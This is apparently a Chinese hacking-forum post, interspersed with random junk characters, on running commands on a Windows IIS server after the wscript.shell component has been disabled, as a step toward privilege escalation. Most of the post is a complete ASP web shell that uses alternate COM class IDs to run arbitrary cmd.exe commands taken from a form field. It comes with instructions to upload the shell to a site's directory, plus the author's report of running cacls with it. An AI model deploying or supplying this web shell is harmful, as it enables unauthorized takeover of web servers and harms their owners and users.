可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。/ F; q6 y3 ]% R9 ]; X( J) \
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。3 \3 K& w) n7 ?; m
要想让运行命令可以试试这种方法,成功率为五五之数。
' P: x* I, L" [8 u把下面代码复制:2 V. ^! P7 u% A7 `
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
. F5 Z9 v# V, J0 E' G9 L- [<%if err then%>3 ?* S% l( e1 I" {; S+ p3 m
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
/ B3 ^7 s+ k& I6 H# D; I<%
6 p- e. {5 K4 eend if& r+ q1 I% S5 K& F* j U# j( |
response.write("<textarea readonly cols=80 rows=20>")1 M! e4 {9 N$ _4 r( Z: l+ w( O
On Error Resume Next
1 N8 O2 t0 ]# b) [5 qresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall' p' w# P+ e2 O6 W
response.write("</textarea>")
9 ]8 Q8 s* l7 Vresponse.write("<form method='post'>")
q: `8 g( n/ K& C- v& _1 O, Fresponse.write("<input type=text name='c' size=60><br>")7 e9 W R/ [8 a. _; R4 h6 H1 y
response.write("<input type=submit value='执行'></form>")
" C) u9 O. G1 I9 a1 I%>
4 W+ A' N+ q+ R6 e6 i
- K: |& {, Y# ~保存为一个asp文件,然后传到网站目录上去
' ]0 K/ T7 D( d# w# i+ Y- A运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。/ r, N3 x: }8 L' D0 j
我用此成功运行过cacls命令。- G- J- i* l+ w" a: ?% I1 c
1 \$ t c4 u6 w' r
第二那就是运行时出错,可能限制某些代码执行 |